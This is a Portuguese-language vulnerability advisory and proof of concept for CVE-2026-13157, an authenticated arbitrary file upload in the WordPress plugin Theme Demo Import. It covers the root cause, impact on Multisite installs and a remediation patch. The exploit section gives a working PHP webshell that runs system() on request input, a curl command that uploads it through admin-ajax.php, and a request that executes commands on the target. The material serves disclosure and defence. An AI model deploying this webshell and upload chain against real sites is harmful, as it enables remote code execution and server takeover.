
Prova de conceito e análise de causa raiz para um upload arbitrário de arquivos autenticado no WordPress Theme Demo Import, levando à execução remota de código por meio de um webshell PHP.
CVE-2026-13157 é uma vulnerabilidade autenticada de upload arbitrário de arquivos que afeta o plugin WordPress Theme Demo Import até a versão 1.1.3, inclusive, descoberta e analisada pelo pesquisador de segurança cibernética Huynh Kien Minh (MinhHK). A vulnerabilidade existe na rotina de importação de dados de demonstração via AJAX (TDI_import_demo_data), na qual o plugin desativa explicitamente os testes padrão de verificação de tipo de arquivo do WordPress () durante o processamento do upload. Um usuário autenticado com capacidade de importação — como um administrador padrão do site ou um administrador de site não superadministrador em uma arquitetura WordPress Multisite — pode contornar a aplicação das restrições de arquivo para enviar scripts PHP executáveis arbitrários diretamente para o diretório público , alcançando Execução Remota de Código (RCE) persistente e o comprometimento total do servidor.
'test_type' => falsewp-content/uploads/| Parâmetro | Especificação Técnica |
|---|---|
| Identificador da Vulnerabilidade | CVE-2026-13157 |
| Software Alvo | Theme Demo Import (Plugin WordPress) |
| Slug do Plugin | theme-demo-import |
| Versões Afetadas | <= 1.1.3 |
| Classe de Vulnerabilidade | Upload Irrestrito de Arquivo com Tipo Perigoso (CWE-434 / OWASP A03) |
| Pontuação CVSS v3.1 | 6.6 (Médio) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| Descobridor / Pesquisador | Huynh Kien Minh (MinhHK) |
| Autoridade de Verificação | WPScan / MITRE Corporation |
| URL do Advisory WPScan | https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/ |
| Portfólio do Pesquisador | https://minhhk.web.app/ |
A causa raiz do CVE-2026-13157 reside na arquitetura de manipulação de upload de arquivos implementada em inc/class-tdi-helpers.php. Durante as operações de importação de dados de demonstração, o plugin processa os anexos de arquivo recebidos por meio do endpoint AJAX registrado em inc/class-tdi-main.php na Linha 55:
// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );
Ao processar os arquivos de configuração de demonstração enviados (content_file, widget_file e customizer_file), o método de importação interno instrui diretamente a API wp_handle_upload() do WordPress a ignorar as verificações de tipo MIME e de validação de formulário dos arquivos:
// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
'test_form' => false,
'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);
// Handle demo content and widgets file upload.
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
Ao passar 'test_type' => false para $upload_overrides, o desenvolvedor sobrescreveu o subsistema de verificação MIME do núcleo do WordPress (wp_check_filetype_and_ext()). Como consequência direta, o aplicativo não restringe mais os anexos de arquivo aos formatos seguros de dados de demonstração (.xml, .json, .wie, .dat), permitindo que qualquer usuário autenticado com acesso à página de configurações envie scripts PHP executáveis (.php, .phtml, .phar) diretamente para a raiz pública do documento.
Aviso de Pesquisa Ética: Esta prova de conceito está documentada estritamente para auditoria educacional, engenharia defensiva e validação autorizada de segurança. A exploração não autorizada de sistemas em produção é proibida.
<= 1.1.3.import (Admin / Admin de Site Multisite).tdi-ajax-verification (exposto no DOM da página como propriedade do objeto JavaScript tdi.ajax_nonce em /wp-admin/themes.php?page=theme-demo-import).exploit_webshell.php:<?php
if(isset($_REQUEST['cmd'])){
system($_REQUEST['cmd']);
} else {
echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
-H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
-F "action=TDI_import_demo_data" \
-F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
-F "content_file=@exploit_webshell.php;type=application/x-php"
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>
Embora as instalações WordPress de site único concedam aos administradores padrão controle confiável sobre o ambiente do servidor, o CVE-2026-13157 introduz o colapso de fronteiras de segurança críticas em implantações Enterprise e Multisite:
unfiltered_upload é reservada exclusivamente aos Super Admins de Rede). O CVE-2026-13157 destrói completamente esse isolamento multi-inquilino, permitindo que um administrador de sub-site não verificado insira um web shell e execute comandos de sistema em toda a rede de servidores.DISALLOW_FILE_EDIT). Esta vulnerabilidade contorna as restrições de hospedagem ao aproveitar o mecanismo nativo de transferência de arquivos do plugin para gravar código executável arbitrário diretamente no armazenamento de volume gravável.Para resolver com segurança o CVE-2026-13157, mantenedores de software e engenheiros defensivos devem restabelecer imediatamente a validação estrita de tipo MIME e de extensão de arquivo na lógica de manipulação de upload em inc/class-tdi-helpers.php.
Remova a substituição insegura 'test_type' => false e aplique uma lista de permissões rigorosa restrita estritamente às estruturas padrão de exportação do WordPress (text/xml, application/json):
// Secure Remediation Patch for inc/class-tdi-helpers.php (Lines 495 - 510)
$upload_overrides = array(
'test_form' => false,
'test_type' => true, // Enforce strict core file-type verification
'mimes' => array(
'xml' => 'text/xml',
'json' => 'application/json',
'wie' => 'application/json',
'dat' => 'text/plain',
),
);
// Perform capability check before handling upload
if ( ! current_user_can( 'import' ) ) {
wp_send_json_error( array( 'message' => __( 'Insufficient privileges to perform import.', 'theme-demo-import' ) ), 403 );
}
// Proceed with validated file handling
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
Huynh Kien Minh (MinhHK) é pesquisador de segurança da informação, desenvolvedor de software e analista de vulnerabilidades especializado em segurança ofensiva de aplicações web, auditoria de arquitetura de aplicações PHP e vetores de exploração empresariais. Suas descobertas e advisories técnicos foram formalmente reconhecidos por importantes bancos de dados globais de vulnerabilidades e autoridades de nomeação de segurança de produtos.
{
"@context": "https://schema.org",
"@graph": [
{
"@type": "TechArticle",
"@id": "https://github.com/MinhHK68/CVE-2026-13157#article",
"headline": "CVE-2026-13157: Theme Demo Import Arbitrary File Upload & Remote Code Execution Advisory",
"alternativeHeadline": "Technical Deep-Dive and Exploit Analysis for CVE-2026-13157 by Huynh Kien Minh",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"inLanguage": "en-US",
"description": "Comprehensive security research advisory for CVE-2026-13157 affecting Theme Demo Import WordPress plugin prior to version 1.1.3. Analyzes arbitrary file upload vulnerability via disabled test_type check leading to Remote Code Execution.",
"keywords": ["CVE-2026-13157", "Theme Demo Import", "Arbitrary File Upload", "Remote Code Execution", "RCE", "WordPress Security", "Huynh Kien Minh", "MinhHK", "WPScan"]
},
{
"@type": "SecurityAdvisory",
"@id": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/#advisory",
"identifier": "CVE-2026-13157",
"name": "Theme Demo Import <= 1.1.3 - Admin+ Arbitrary File Upload",
"category": "Arbitrary File Upload / RCE",
"cvssScore": "6.6",
"severity": "Medium",
"softwareVersion": "<= 1.1.3",
"url": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/"
}
]
}